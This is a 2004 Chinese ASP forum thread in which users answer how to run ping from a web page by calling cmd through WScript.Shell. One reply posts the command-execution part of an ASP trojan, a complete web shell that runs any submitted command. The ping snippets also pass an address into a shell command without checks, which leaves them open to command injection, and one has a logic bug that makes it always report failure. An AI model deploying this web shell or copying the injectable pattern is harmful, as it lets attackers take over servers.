!!!!如何在ASP中使用PING?

djfdd 2004-04-04 11:00:50
如何在ASP中使用PING,能将代码写出来吗?谢谢
...全文
38 6 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
djfdd 2004-04-09
  • 打赏
  • 举报
回复
ghostzp大哥的代码我ping 127.0.0.1,可是反馈的是"没有这个IP",为什么?
djfdd 2004-04-07
  • 打赏
  • 举报
回复
ghostzp大哥的代码有个问题,不管能不能PING到都是没有这个IP,为什么?
djfdd 2004-04-05
  • 打赏
  • 举报
回复
一楼的我试了,没搞定啊,还有其他方法吗?
若白师妹 2004-04-05
  • 打赏
  • 举报
回复
樓上的複雜也,給個簡單的吧
<%

ip_k="127.0.0.1"
Set sh = Server.CreateObject("wscript.shell")

sh.run "%comspec% /c ping -a "&ip_k&" > C:\Inetpub\wwwroot\test\ip_kernel.txt",0,true
Set fso = createobject("scripting.filesystemobject")
Set ts = fso.opentextfile("C:\Inetpub\wwwroot\test\ip_kernel.txt")
Do While Not ts.AtEndOfStream
data = data & ucase(trim(ts.readline))

loop

if not ts.AtEndOfStream then
response.write "ok"
else
response.write "沒有這個ip"
end if
ts.close
%>
firstsee 2004-04-04
  • 打赏
  • 举报
回复
这是海洋顶端木马中的cmd命令执行部分代码
'cmd.asp
<%On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %><HTML><body><FORM action="<%= Request.ServerVariables("URL") %>" method="POST"><input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="run" class=input></FORM><PRE>
<%If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML>
lawdoor 2004-04-04
  • 打赏
  • 举报
回复
如何在ASP中实现PING
  使用WSH调用系统的Ping命令,将Ping的结果重定向到一个文本文件中去,再把文本文件显示到网页中
  具体做法如下:
  首先, 建一个.BAT文件(例如:myPing.BAT:),这个文件要在ASP中调用,文件代码如下:
  ping -a %1 > d:\INetPub\cgi-bin\%2.txt
(%1)是将来要ping的地址, (%2)是存储ping结果的文件. 以下是ASP的代码:
< %
Set FileSys = Server.CreateObject(“Scripting.FileSystemObject“)

FileName = FileSys.GetTempName

Set WShShell = Server.CreateObject(“WScript.Shell“)
IP = “xxx.xxx.xxx.xxx“ ’你要ping的地址
RetCode = WShShell.Run(“d:\Inetpub\cgi-bin\myPing.bat “ & IP & “ “ & FileName, 1, True)
if RetCode = 0 Then
’没有错误
else
Response.Redirect “PingErrors.htm“

end if

Set TextFile = FileSys.OpenTextFile(“d:\InetPub\cgi-bin\“ & FileName & “.txt“, 1)

TextBuffer = TextFile.ReadAll

For i = 1 to Len(TextBuffer)

If Mid(TextBuffer,i,1) = chr(13) Then

Response.Write(“
“)

else

Response.Write(Mid(TextBuffer,i,1))

end if

Next

TextFile.Close

FileSys.DeleteFile “d:\Inetpub\cgi-bin\“ & FileName & “.txt“

% >

28,409

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧